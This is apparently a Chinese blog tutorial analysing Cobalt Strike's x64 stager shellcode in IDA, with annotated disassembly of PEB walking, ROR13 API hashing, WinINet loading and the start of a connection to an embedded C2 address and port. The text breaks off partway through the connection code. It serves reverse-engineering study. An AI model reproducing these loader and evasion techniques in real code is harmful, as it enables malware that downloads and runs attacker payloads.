Cobalt Strike 生成的 Shellcode 主要包括 Stager 和 Stageless 两种类型。
本篇文章主要分析 Cobalt Strike 生成的 Stager 类型的 Shellcode。
Stager 指的是是分阶段传送 Payload。我们生成的 Stager Beacon 其实是一个很小程序,用于从服务器端下载我们真正的 Shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。
Stageless 则是完整的 Beacon,后续不需要再向服务器端请求 Shellcode。所以使用这种方法生成的 Beacon 会比 Stager 生成的体积要大。但是这种 Beacon 有助于逃避分析人员的溯源取证,因为如果开启了分阶段传送(Stager方式),任何人都能看到 Beacon 连接到你的 C2 服务器的 payload 下载请求,并能提取出 payload 的配置信息。在 Cobalt Strike 4.0 及以后的版本中,后渗透和横向移动绝大部分推荐使用 Stageless 类型的Beacon 。
生成的 Raw 类型的 payload_x64.bin 的内容如下。
我们使用 IDA Pro 加载这个 bin 文件进行分析。
可以看到,代码其实并没有想象那么庞大。简洁到只需要上面的 4 张截图就可以放得下。
但是,当你真正慢下来逐段去分析的时候,你就知道什么是短小精悍了。对于初学者来说可能分析起来十分吃力,原因就是你前期的知识储备不够,导致每看到一个代码片段就是一段要新学习的技术点。
如果你前期看过我写的二进制学习路线,然后学习了 Maldev Academy 的《Malware Development Course》基础模块,外加轩辕的编程宇宙公众号《从零开始学逆向》内容。那么静下心来慢慢分析 CS 的 Shellcode 是没有那么吃力的,甚至你还会有一些爽感。这里面用到了《Malware Development Course》中提到的 PE 文件解析、String Hash 技术、IAT 隐藏技术、HTTP 请求等很多概念知识。当然也可以在没有这些前置基础的情况下来分析学习,但建议了解了这部分内容之后再来详细分析,不然可能会有一种硬着头皮也看不懂的难受感。
废话不多扯,咱们直接开始进行分析。
先看第一张图的内容。可以看到这里 IDA 并没有识别出代码来,而是呈现了一堆数据(db,dq)。
我们在 seg000 位置处,按键盘的 按键C 将其这些数据(seg000:0000000000000000 ~ seg000:0000000000000128)识别为 代码(Code)。
识别后的内容如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000 segment byte public 'CODE' use64
seg000:0000000000000000 assume cs:seg000
seg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000 cld
seg000:0000000000000001 and rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005 call sub_D2
...
seg000:000000000000001D mov rdx, [rdx+20h]
seg000:0000000000000021
seg000:0000000000000021 loc_21:
seg000:0000000000000021 mov rsi, [rdx+50h]
...
seg000:000000000000002D
seg000:000000000000002D loc_2D:
seg000:000000000000002D xor rax, rax
...
seg000:0000000000000035 sub al, 20h ; ' '
seg000:0000000000000037
seg000:0000000000000037 loc_37:
seg000:0000000000000037 ror r9d, 0Dh
...
seg000:000000000000006B add r8, rdx
seg000:000000000000006E
seg000:000000000000006E loc_6E:
seg000:000000000000006E jrcxz loc_C6
...
seg000:000000000000007A xor r9, r9
seg000:000000000000007D
seg000:000000000000007D loc_7D:
seg000:000000000000007D xor rax, rax
...
seg000:00000000000000C4 jmp rax
seg000:00000000000000C6 ; ---------------------------------------------------------------------------
seg000:00000000000000C6
seg000:00000000000000C6 loc_C6:
seg000:00000000000000C6 pop rax
seg000:00000000000000C7
seg000:00000000000000C7 loc_C7:
seg000:00000000000000C7
seg000:00000000000000C7 pop r9
...
seg000:00000000000000CD jmp loc_21
seg000:00000000000000D2
seg000:00000000000000D2 ; =============== S U B R O U T I N E =======================================
seg000:00000000000000D2
seg000:00000000000000D2
seg000:00000000000000D2 sub_D2 proc near
seg000:00000000000000D2 pop rbp
...
seg000:0000000000000107 sub_D2 endp
seg000:0000000000000107
seg000:0000000000000109
seg000:0000000000000109 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000109
seg000:0000000000000109
seg000:0000000000000109 sub_109 proc near
seg000:0000000000000109 pop rdx
...
seg000:0000000000000126 sub_109 endp
seg000:0000000000000126
|
上面的代码主要分为三部分。纯汇编指令部分(seg000:0000000000000000 ~ seg000:000000000000001D),loc_xxx 标记的汇编指令部分(seg000:0000000000000021 ~ seg000:00000000000000CD),sub_xxx 标记的汇编指令部分(seg000:00000000000000D2 ~ seg000:0000000000000126)。
(1)纯汇编指令部分
这是程序中真正占用空间并被 CPU 执行的二进制机器码的文字表达。它们负责具体的数据操作(如 mov 搬运、xor 异或)和逻辑运算,是构成程序的最小功能颗粒。
(2)loc_xxx 标记的汇编指令部分(loc_21、loc_2D、loc_37、loc_6E、loc_7D、loc_C6、loc_C7)
局部跳转标号,这是反汇编工具生成的地址索引,主要用于单一函数内部的逻辑流转。它通常标记了一个循环的起点或一个分支判断的目标点。在 CPU 眼中,它只是一个相对偏移地址,用来告诉程序:“如果条件满足,请跳到这里继续执行”。
(3)sub_xxx 标记的汇编指令部分(sub_D2、sub_109)
子程序/函数入口,这是标记独立功能模块的起始地址。与 loc_xxx 不同,sub_xxx 通常具有完整的生命周期(被 call 调用,以 ret 或跳转结束),代表了一段可以被重复利用的特定逻辑(例如:初始化网络、查找内存地址)。
正常情况的下的话,我们遵循从上到下的顺序进行分析即可,碰到跳转就跟进继续分析。
需注意 loc_xxx 标记并不直接控制程序的执行流,比如下方 loc_21 的标记,并不会让程序发生跳转。就正常按顺序往下走,分析完 seg000:000000000000001D 处的 mov 指令之后,继续往下分析 seg000:0000000000000021 处的 mov 指令即可。
1
2
3
4
5
6
7
8
9
10
11
12
|
seg000:0000000000000000 cld
seg000:0000000000000001 and rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005 call sub_D2
seg000:000000000000000A push r9
...
seg000:0000000000000019 mov rdx, [rdx+18h]
seg000:000000000000001D mov rdx, [rdx+20h]
seg000:0000000000000021
seg000:0000000000000021 loc_21:
seg000:0000000000000021 mov rsi, [rdx+50h]
seg000:0000000000000025 movzx rcx, word ptr [rdx+4Ah]
seg000:000000000000002A xor r9, r9
|
我们现在开始从头开始分析。
1
2
3
|
seg000:0000000000000000 cld
seg000:0000000000000001 and rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005 call sub_D2
|
cld 指令,全称 Clear Direction Flag,清除方向标志 DF。作用是使 DF = 0。让字符串指令按正向处理,也就是地址递增。常受影响的指令:lodsb(Load String Byte)、stosb(Store String Byte)、movsb(Move String Byte)、scasb(Scan String Byte)、cmpsb(Compare String Byte)。有 cld 时,这类指令通常表现为:si/esi/rsi 递增,di/edi/rdi 递增。
std 指令,全称 Set Direction Flag,设置方向标志 DF。作用是使 DF = 1,让字符串指令按反向处理,也就是地址递减。常受影响的指令:lodsb、stosb、movsb、scasb、cmpsb。有 std 时,这类指令通常表现为:si/esi/rsi 递减,di/edi/rdi 递减。
1
2
3
4
5
|
seg000:0000000000000000 cld ; Clear Direction Flag,清除方向标志 DF,使 DF = 0
seg000:0000000000000001 and rsp, 0FFFFFFFFFFFFFFF0h ; 栈对齐:将栈顶指针对齐到 16 字节,这是 x64 调用约定的硬性要求
seg000:0000000000000005 call sub_D2 ; 调用 sub_D2 函数
seg000:0000000000000005 ; call 指令会将返回地址(下一条指令)(0x0A地址)压入栈中,并跳转进 sub_D2 处执行。
seg000:000000000000000A push r9
|
跟进 sub_D2 函数处进行分析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
; call sub_D2指令,会将返回地址(下一条指令)(0xA地址)(resolver解析器)压入栈中。
seg000:00000000000000D2 ; =============== S U B R O U T I N E =======================================
seg000:00000000000000D2
seg000:00000000000000D2
seg000:00000000000000D2 sub_D2 proc near
seg000:00000000000000D2 pop rbp
seg000:00000000000000D3 push 0 ; 字符串结尾'\0'
seg000:00000000000000D5 mov r14, 'teniniw' ; 把 teniniw 这个字符串放到了R14中,这里由于是在栈上传递数据,所以其实是颠倒的 wininet 这个字符串(原 74656E696E6977h 处按 R 转字符串)
seg000:00000000000000DF push r14 ; 把拼接的字符串压栈。
seg000:00000000000000E1 mov r14, rsp ; 此时 r14 = 栈顶地址,也就是 "wininet" 这串字节的首地址。
seg000:00000000000000E4 mov rcx, r14 ; rcx = &"wininet"[0]; rcx 现在不是“字符串本身”,而是指向字符串首字符的指针。
seg000:00000000000000E7 mov r10d, 726774Ch ; r10d 里放的是一个 32 位 函数名 hash,不是普通参数。
seg000:00000000000000ED call rbp ; 跳转到 call sub_D2 指令的下一条指令处(0xA)(resolver解析器)执行。
; 因为call指令,所以会同时压返回地址(0xEF)到栈上。
; 如果 0xA 后续那段代码最后有 ret,那么它会弹出栈顶返回地址 0xEF,于是就回到 call rbp 指令下方的指令继续执行。
; 目的是:构造执行 LoadLibraryA("wininet"),返回值(HMODULE wininet)
seg000:00000000000000EF xor rcx, rcx
|
跟进 call rbp,下一条指令处(0xA)(resolver解析器) 处进行分析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
|
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000 segment byte public 'CODE' use64
seg000:0000000000000000 assume cs:seg000
seg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000 cld
seg000:0000000000000001 and rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000005 call sub_D2
seg000:0000000000000005
# 跳转到这里继续执行(0xA)
seg000:000000000000000A push r9
seg000:000000000000000C push r8
seg000:000000000000000E push rdx
seg000:000000000000000F push rcx
seg000:0000000000000010 push rsi ; 一系列参数压栈。
seg000:0000000000000011 xor rdx, rdx
seg000:0000000000000014 mov rdx, gs:[rdx+60h] ; PEB
seg000:0000000000000019 mov rdx, [rdx+18h] ; PEB+0x18 => Ldr
seg000:000000000000001D mov rdx, [rdx+20h] ; Ldr+0x20 => InMemoryOrderModuleList(模块在内存中的顺序)(进程装载的模块)(_LIST_ENTRY)(双向链表)
seg000:0000000000000021
seg000:0000000000000021 loc_21:
seg000:0000000000000021 mov rsi, [rdx+50h] ; InMemoryOrderModuleList->FullDllName.buffer(_UNICODE_STRING)。存储的就是Dll的全名(模块名),存入 rsi。
; 可以通过这个名字确定当前遍历到的dll是不是自己想要的,默认第一个指向的就是自己这个程序。
seg000:0000000000000025 movzx rcx, word ptr [rdx+4Ah] ; InMemoryOrderModuleList->FullDllName.MaximumLength(_UNICODE_STRING),存入rcx
seg000:000000000000002A xor r9, r9
seg000:000000000000002D
seg000:000000000000002D loc_2D:
seg000:000000000000002D xor rax, rax
seg000:0000000000000030 lodsb ; lodsb(Load String Byte),加载字符串字节。从内存读取 1 字节到 AL。
; 根据 DF 自动调整 SI/ESI/RSI递增还是递减读取。DF = 0:SI/ESI/RSI 递增,DF = 1:SI/ESI/RSI 递减。
; 上面的 cld 指令,使 DF = 0,则正向处理 SI/ESI/RSI。
seg000:0000000000000031 cmp al, 61h ; 'a' ; 判断当前字符是否小于 'a'
seg000:0000000000000033 jl short loc_37 ; jl(Jump if Less),如果“小于”(当前为大写字母)就跳转loc_37。
seg000:0000000000000035 sub al, 20h ; ' ' ; AL = AL - 0x20,把小写字母转成大写字母,再继续到loc_37
seg000:0000000000000037
seg000:0000000000000037 loc_37:
seg000:0000000000000037 ror r9d, 0Dh ; rdx:当前遍历到的模块项(你前面注释里的 InMemoryOrderModuleList 当前节点)
; r9d:当前模块名算出来的 Rot32 hash
; rsi:刚才扫描模块名时用的指针
; rcx:循环计数已经用完
; rax/eax:最后一个字符参与哈希时的临时值
; Rot32 String Hash算法。把 r9d 循环右移 0xD 位,也就是 13 位。
; r9d = ROR32(r9d, 13); 可理解为:hash = ROR32(hash, 13);
seg000:000000000000003B add r9d, eax ; r9d = r9d + eax。把当前字符累加进哈希值。
; 可理解为:hash += ch;
seg000:000000000000003E loop loc_2D ; 继续处理下一个字符。rcx = rcx - 1,若不为 0 则跳到 loc_2D。
; loop 指令。常用于基于计数次数的循环。作用是计数寄存器 (cx/ecx/rcx) 减 1,若结果不为 0 则跳转。
; 先减 1,再判断是否为 0,不为 0 就跳到目标标签,为 0 就继续顺序执行下一条。
seg000:0000000000000040 push rdx ; 把“当前模块项地址”(InMemoryOrderModuleList)压栈保存,后面 rdx 会被改成别的东西,先留一份。
seg000:0000000000000041 push r9 ; 把刚刚算出的“当前模块名hash值”(原r9d部分)保存到栈上。
seg000:0000000000000043 mov rdx, [rdx+20h] ; 分界线。前面 rdx:还是“当前模块节点”。
; 这条执行后 rdx:变成“当前模块加载到内存后的基地址DllBase”,也就是从“模块链表项”切换到“模块本体(PE 的模块映像)”。
; InMemoryOrderModuleList
; +0x000 InLoadOrderLinks : _LIST_ENTRY
; +0x010 InMemoryOrderLinks : _LIST_ENTRY // rdx
; +0x020 InInitializationOrderLinks : _LIST_ENTRY
; +0x030 DllBase : Ptr64 Void // rdx+0x20
seg000:0000000000000047 mov eax, [rdx+3Ch] ; eax = NT Headers 偏移量;
; rdx 现在是模块基址,0x3C 是 DOS 头里的 e_lfanew,那么 rdx+3C 就是相对模块基址的 NT Headers 偏移量。
seg000:000000000000004A add rax, rdx ; 把上一步读到的相对偏移,变成真实内存地址。
; rax 现在指向内存中该模块的 IMAGE_NT_HEADERS 位置。
seg000:000000000000004D cmp word ptr [rax+18h], 20Bh ; 检查 rax+18h(OptionalHeader.Magic)。如果 0x20B = PE32+,也就是 64 位 PE。
; ROM 映像(0107h),32位普通可执行文件(010Bh),64位可执行文件(0x20B)。
; 如果不是 0x20B(64位可执行文件),就跳到 loc_C7
seg000:0000000000000053 jnz short loc_C7 ; 当前模块没找到目标导出函数时,恢复现场并切到下一个模块继续遍历。
; 把当前模块对应的 hash 取回来。
seg000:0000000000000055 mov eax, [rax+88h] ; 读取当前模块的导出表相对偏移。
; 如果是 0x20B(64位可执行文件),rax 还指向 IMAGE_NT_HEADERS,取出 Export Directory 的 RVA。
; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
seg000:000000000000005B test rax, rax ; 检查刚读出的导出表 RVA 是否为 0。如果为 0,说明这个模块没有导出表,就跳到 loc_C7
seg000:000000000000005E jz short loc_C7 ; 当前模块没找到目标导出函数时,恢复现场并切到下一个模块继续遍历。
; 把当前模块对应的 hash 取回来。
seg000:0000000000000060 add rax, rdx ; 把导出表 RVA 转成真实地址。rax 这里指向 IMAGE_EXPORT_DIRECTORY
seg000:0000000000000063 push rax ; [rsp+8] 把导出表地址(rax的值)先保存到栈上。
; 后面 rax 还会被继续拿来做别的事情,所以先把 IMAGE_EXPORT_DIRECTORY 的地址留一份
seg000:0000000000000064 mov ecx, [rax+18h] ; 读取 IMAGE_EXPORT_DIRECTORY.NumberOfNames。当前模块有多少个“导出函数名”。
; 这里把它放进 ecx,通常后面会拿它做导出名遍历计数。
seg000:0000000000000067 mov r8d, [rax+20h] ; 读取 IMAGE_EXPORT_DIRECTORY.AddressOfNames,存入 r8d。“导出函数名“数组 AddressOfNames 的相对地址 VA 偏移,不是 RVA 真实地址。
seg000:000000000000006B add r8, rdx ; 把 AddressOfNames 的 RVA 转成真实地址。
seg000:000000000000006E
seg000:000000000000006E loc_6E:
seg000:000000000000006E jrcxz loc_C6 ; 如果当前“导出函数名”数量计数(rcx的值)已经到 0,说明当前模块的导出名已经遍历完了,就跳到 loc_C6
; jrcxz(Jump if RCX is Zero),如果 RCX == 0,则跳转到目标地址。
seg000:0000000000000070 dec rcx ; rcx = rcx - 1,因为导出名字表是数组,这里按 从后往前 的方式遍历,所以先减 1,再取第 rcx 个名字。
seg000:0000000000000073 mov esi, [r8+rcx*4] ; 从 AddressOfNames 数组里取出第 rcx 个元素。这个元素是 函数名字符串的 RVA,即当前“导出函数名的 RVA”
seg000:0000000000000077 add rsi, rdx ; 把函数名字符串的 RVA 转成真实地址 VA。
; 因为 rdx 是模块基址,rsi = 当前导出函数名字符串地址。
seg000:000000000000007A xor r9, r9 ; 清空 r9,准备重新计算“当前函数名”的 hash
seg000:000000000000007D
seg000:000000000000007D loc_7D:
seg000:000000000000007D xor rax, rax ; loc_7D:对获得的函数名做 hash。
; 清空 rax,这样后面 lodsb 只会改 al,同时让 ah = 0
seg000:0000000000000080 lodsb ; 从 [rsi] 读 1 字节到 al,然后因为前面有 cld,所以 rsi++
seg000:0000000000000081 ror r9d, 0Dh ; r9d 循环右移 13 位,函数名 hash 算法的一部分
seg000:0000000000000085 add r9d, eax ; 把当前字符值累加进 hash。
seg000:0000000000000088 cmp al, ah ; 判断当前字符是不是字符串结束符 \0。
; 比较 al 和 ah,因为前面 xor rax, rax,所以此时 ah = 0。
seg000:000000000000008A jnz short loc_7D ; 如果当前字符不是 0,继续回到 loc_7D,处理下一个字符。
; loc_7D本质就是在遍历一个导出函数名,直到 \0,算出这个函数名的 ROR32 hash
seg000:000000000000008C add r9, [rsp+8] ; [rsp+8] 里保存的是前面 push r9 压栈的 模块名 hash
seg000:0000000000000091 cmp r9d, r10d ; 比较“当前导出函数的组合 hash” 和 “目标 hash”。
; 当前 r9 里是刚算完的 函数名 hash。r10d 是调用这个解析器(call sub_D2)前传进来的目标 API hash
seg000:0000000000000094 jnz short loc_6E ; 如果不相等吗,说明当前函数不是要找的 API,回到 loc_6E,继续检查下一个导出函数名。
seg000:0000000000000096 pop rax ; 命中后:把函数地址算出来。
; pop rax,弹出之前保存的 [rsp+8] IMAGE_EXPORT_DIRECTORY 地址,恢复到 rax。
seg000:0000000000000097 mov r8d, [rax+24h] ; 取 AddressOfNameOrdinals 的 RVA。
seg000:000000000000009B add r8, rdx ; 转成 AddressOfNameOrdinals 真实地址。r8 = ordinals 表地址
seg000:000000000000009E mov cx, [r8+rcx*2] ; 根据刚才命中的“名字索引 rcx”,取出对应的 ordinal。
; 名字表索引 -> 函数序号索引。
seg000:00000000000000A3 mov r8d, [rax+1Ch] ; 取 AddressOfFunctions 的 RVA。
seg000:00000000000000A7 add r8, rdx ; 转成 AddressOfFunctions 的 RVA。r8 = functions 表地址
seg000:00000000000000AA mov eax, [r8+rcx*4] ; 用刚才取出的 ordinal 作为索引,取出函数的 RVA
; functions[数字序号索引]
seg000:00000000000000AE add rax, rdx ; 把获取的函数 RVA 转成真实地址。
seg000:00000000000000B1 pop r8
seg000:00000000000000B3 pop r8 ; 这两个 pop 不是为了保留 r8,而是为了丢弃栈上的两个中间值:
; 当前模块名 hash
; 当前模块链表节点
seg000:00000000000000B5 pop rsi
seg000:00000000000000B6 pop rcx
seg000:00000000000000B7 pop rdx
seg000:00000000000000B8 pop r8
seg000:00000000000000BA pop r9 ; 恢复一开始在 0xA 压栈保存的寄存器。
; 对应前面的:
; push r9
; push r8
; push rdx
; push rcx
; push rsi
seg000:00000000000000BC pop r10 ; pop r10 这句非常关键。
; 这里弹出来的不是普通参数,而是 sub_D2 函数进行 call rbp 时,call指令默认压入中的返回地址(0xEF)位置。
; 也就是说,当前解析器执行完后,本来要返回的位置(sub_D2的0xEF处)。
seg000:00000000000000BE sub rsp, 20h ; 标准做法:为 Windows x64 调用约定预留 shadow space
seg000:00000000000000C2 push r10 ; 把 r10 刚保存的“返回地址”(sub_D2的0xEF处)压入栈。
; 目的是,让后面的目标 API 执行完 ret 时,能直接返回到该处返回地址(sub_D2的0xEF处)执行。
seg000:00000000000000C4 jmp rax ; 跳到解析出的真实 API 地址。
; 注意这里不是 call rax,而是 jmp rax。
; 原因是:返回地址已经手工压栈了,不需要使用call指令,再额外触发压一次返回地址入栈了。
; API 函数(LoadLibraryA)执行完成后,跳转到“返回地址”(sub_D2的0xEF处)继续执行。
seg000:00000000000000C6 ; ---------------------------------------------------------------------------
seg000:00000000000000C6
seg000:00000000000000C6 loc_C6:
seg000:00000000000000C6 pop rax ; 平衡栈
seg000:00000000000000C6 ; 把之前 push rax 压进去的值弹出来。
seg000:00000000000000C6 ; 回收/恢复之前保存的 IMAGE_EXPORT_DIRECTORY 地址。
seg000:00000000000000C7
seg000:00000000000000C7 loc_C7:
seg000:00000000000000C7
seg000:00000000000000C7 pop r9 ; 当前模块没找到目标导出函数时,恢复现场并切到下一个模块继续遍历。
; 把当前模块对应的 hash 取回来。
seg000:00000000000000C9 pop rdx ; 把当前 InMemoryOrderModuleList 节点地址取回来。
seg000:00000000000000CA mov rdx, [rdx] ; 链表结构开头通常就是:
; Flink = 下一个节点
; Blink = 上一个节点
; 所以,[rdx] 就是取当前链表节点中的下一个节点指针。沿着双向链表走到下一个模块。
seg000:00000000000000CD jmp loc_21 ; InMemoryOrderModuleList->FullDllName.buffer(_UNICODE_STRING)。存储的就是Dll的全名(模块名),存入 rsi。
; 可以通过这个名字确定当前遍历到的dll是不是自己想要的,默认第一个指向的就是自己这个程序。
seg000:00000000000000D2
|
跟进 0xA(resolver解析器) 执行完成后的 “返回地址”(sub_D2的0xEF处)继续执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
seg000:00000000000000D2 ; =============== S U B R O U T I N E =======================================
seg000:00000000000000D2
seg000:00000000000000D2
seg000:00000000000000D2 sub_D2 proc near
seg000:00000000000000D2 pop rbp
seg000:00000000000000D3 push 0
seg000:00000000000000D5 mov r14, 'teniniw'
seg000:00000000000000DF push r14
seg000:00000000000000E1 mov r14, rsp
seg000:00000000000000E4 mov rcx, r14
seg000:00000000000000E7 mov r10d, 726774Ch
seg000:00000000000000ED call rbp
; LoadLibraryA("wininet")执行完成
; 跳转到这里继续执行
seg000:00000000000000EF xor rcx, rcx
seg000:00000000000000F2 xor rdx, rdx
seg000:00000000000000F5 xor r8, r8
seg000:00000000000000F8 xor r9, r9 ; rcx,rdx,r8,r9(寄存器传参顺序arg1,arg2,arg3,arg4)依次清零。
seg000:00000000000000FB push r8 ; 第一次 push r8(栈对齐占位作用):压入一个额外 8 字节的 0,占位,同时让 rsp 暂时失去 16 字节对齐。
seg000:00000000000000FD push r8 ; 第二次 push r8(真实第 5 个参数):直接只传该参数时,会导致栈偏移了 8 字节。
; 所以需要上一条的 push r8 的压栈 8 字节,此时再 push 第 5 个参数,栈就 16 字节对齐了。
seg000:00000000000000FF mov r10d, 0A779563Ah ; r10d 里放的是一个 32 位 函数名 hash,不是普通参数。
seg000:0000000000000105 call rbp ; 跳转到call sub_D2指令的下一条指令处(0xA)(resolver解析器)执行。
; 因为call指令,所以会同时压返回地址(0x107)到栈上。
; 如果 0xA 后续那段代码最后有 ret,那么它会弹出栈顶返回地址 0x107,于是就回到 call rbp 指令下方的指令继续执行。
; 目的是,构造执行:
; InternetOpenA(
; NULL, // lpszAgent
; 0, // dwAccessType
; NULL, // lpszProxy
; NULL, // lpszProxyBypass
; 0 // dwFlags
; )
seg000:0000000000000107 jmp short loc_17C ; 进入下一阶段(连接 C2 地址)
seg000:0000000000000107 sub_D2 endp
seg000:0000000000000107
|
这里提一下使用 WinInet 库构造 HTTP 请求时,涉及到的几个函数。
1
2
3
4
5
6
|
hInternet = InternetOpenA(...);
hConnect = InternetConnectA(...);
hRequest = HttpOpenRequestA(hConnect, ...);
bool xxx = HttpSendRequestA(hRequest, ...);
alloc_base = VirtualAlloc(...);
bool xxx = InternetReadFile(hRequest, ...);
|
(1)InternetOpenA
作用:初始化 WinINet,会返回一个“会话句柄”。
返回值:hInternet
含义:相当于先把网络通信环境打开。
(2)InternetConnectA
作用:基于 hInternet,指定要连的服务器和端口。
返回值:hConnect
含义:相当于“准备和某个站点/主机通信”。
(3)HttpOpenRequestA
作用:基于 hConnect 创建一个 HTTP 请求对象
返回值:hRequest
含义:这一步只是把请求准备好,比如:请求路径、请求方法 GET/POST、flags、版本号等
(4)HttpSendRequestA
作用:真正把这个请求发出去
返回值:BOOL
含义:服务器这时才真正收到请求
(5)VirtualAlloc
作用:在进程地址空间中申请一块内存。
返回值:LPVOID,也就是新申请内存的首地址。
含义:相当于先准备一块缓冲区,后面把从网络收到的数据写进去。
(6)InternetReadFile
作用:从当前网络句柄中读取服务器返回的数据。
返回值:BOOL
含义:把响应内容一块一块读取并写入到本地缓冲区里。
关于上述几个函数完整定义,及传参,及解释。可去微软官方文档库查看。
跟进 short loc_17C,进入下一阶段(连接 C2 地址)继续执行。
1
2
3
4
|
seg000:000000000000017C ; ---------------------------------------------------------------------------
seg000:000000000000017C
seg000:000000000000017C loc_17C:
seg000:000000000000017C jmp loc_365
|
跟进 loc_365。默认情况下,IDA显示如下。
这里最关键的是 call sub_109 指令,该指令会将返回地址(0x36A地址)(内嵌C2字符串地址)压入栈中,并跳转进入函数执行。
需注意的是,call传入的返回地址内容,并不是“用于控制流的返回地址”,而是后面构造 HTTP 请求函数时的一个参数内容,rdx = 指向内嵌数据(C2字符串)。
针对识别错的内容,我们需要先选中 按U 取消识别。
再手动鼠标选择一直到 \0 的行,再 按A 设置字符串。
这里提一下 x86 与 x64 程序函数传参的情况。
(1)x86 传参:主要靠栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
func(a, b, c, d, e)
push e;
push d;
push c;
push b;
push a;
call func;
最终栈布局的效果:
[esp + 0x00] = return address
[esp + 0x04] = a // hex(0x00+0x4) = 0x04
[esp + 0x08] = b // hex(0x04+0x4) = 0x08
[esp + 0x0C] = c // hex(0x08+0x4) = 0x0C
[esp + 0x10] = d // hex(0x0C+0x4) = 0x10
[esp + 0x14] = e // hex(0x10+0x4) = 0x14,e 需要最先压栈
|
| 调用约定 |
参数压栈顺序 |
栈清理方 |
this 指针/寄存器传参 |
是否支持可变参数 |
主要应用场景 |
__cdecl |
右 -> 左 |
调用者 (Caller) |
无 |
是 |
C/C++ 默认,printf 等 |
__stdcall |
右 -> 左 |
被调用者 (Callee) |
无 |
否 |
Win32 API 核心约定 |
__thiscall |
右 -> 左 |
被调用者 |
ECX (MSVC) 或 栈底 (GCC) |
否 |
C++ 非静态成员函数 |
__fastcall |
右 -> 左 |
被调用者 |
前两个参数走 ECX, EDX |
否 |
性能要求极高的内部函数 |
注:thiscall 遇到可变参数时会自动转为调用者清栈。并不是 thiscall 本身能处理可变参数,而是当编译器发现你需要可变参数时,它会默默地把调用约定自动换成 cdecl。
(2)x64 传参:靠寄存器(依次rcx,rdx,r8,r9)和栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
func(a, b, c, d, e, f, g, h)
mov rcx, a;
mov rdx, b;
mov r8, c;
mov r9, d;
push h; // 从右往左压栈,先压入最底下的参数
push g; // 继续压入,倒数第二个参数
push f; // 继续压入,倒数第三个参数
push e; // 继续压入,倒数第四个参数
call func;
最终,寄存器+栈布局的效果:
rcx = a;
rdx = b;
r8 = c;
r9 = d;
// [rsp + 8] 到 [rsp + 20h] 给 RCX, RDX, R8, R9 预留的“影子空间”。
[rsp + 0x00] = return address
[rsp + 0x08] = shadow for rcx // hex(0x00+0x8) = 0x08
[rsp + 0x10] = shadow for rdx // hex(0x08+0x8) = 0x10
[rsp + 0x18] = shadow for r8 // hex(0x10+0x8) = 0x18
[rsp + 0x20] = shadow for r9 // hex(0x18+0x8) = 0x20
[rsp + 0x28] = e; // hex(0x20+0x8) = 0x28
[rsp + 0x30] = f; // hex(0x28+0x8) = 0x30
[rsp + 0x38] = g; // hex(0x30+0x8) = 0x38
[rsp + 0x40] = h; // hex(0x38+0x8) = 0x40,h 需要最先压栈
|
跟进 sub_109,内容如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
seg000:0000000000000109 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000109
seg000:0000000000000109 ; 从 0x0107 处,通过 jmp 及 call 等指令,一路跳转到这里 sub_109。
seg000:0000000000000109 ; jmp loc_17C -> jmp loc_365 -> call sub_109。
seg000:0000000000000109 ; call sub_109 指令,会将返回地址(0x36A地址)(C2字符串地址)压入栈中。
seg000:0000000000000109 ; pop rdx指令,返回地址(0x36A地址)指向的不是“代码逻辑”,而是 "121.229.205.238\0",第 2 个参数 rdx 被设置为 C2 字符串地址。
seg000:0000000000000109 ;
seg000:0000000000000109 ; 寄存器(关键):
seg000:0000000000000109 ; rax = InternetOpenA 返回的 HINTERNET 会话句柄 hInternet。
seg000:0000000000000109 ; rbp = resolver 解析器(0x0A地址)
seg000:0000000000000109
seg000:0000000000000109 sub_109 proc near
seg000:0000000000000109 pop rdx
seg000:000000000000010A mov rcx, rax ; rax = hInternet(InternetOpenA 返回)。
; 此时,第 1 参数 rcx 位置 = rax = InternetOpenA 返回的句柄 hInternet
seg000:000000000000010D mov r8d, 8888 ; 设置第 3 参数, r8 = 端口号 8888。
seg000:0000000000000113 xor r9, r9 ; 设置第 4 个参数,r9 寄存器清零。
seg000:0000000000000116 push r9 ; 设置第 8 个参数,stack: 0 -> dwContext
seg000:0000000000000118 push r9 ; 设置第 7 个参数,stack: 0 -> dwFlags
seg000:000000000000011A push 3 ; 设置第 6 个参数,stack: 3 -> dwService
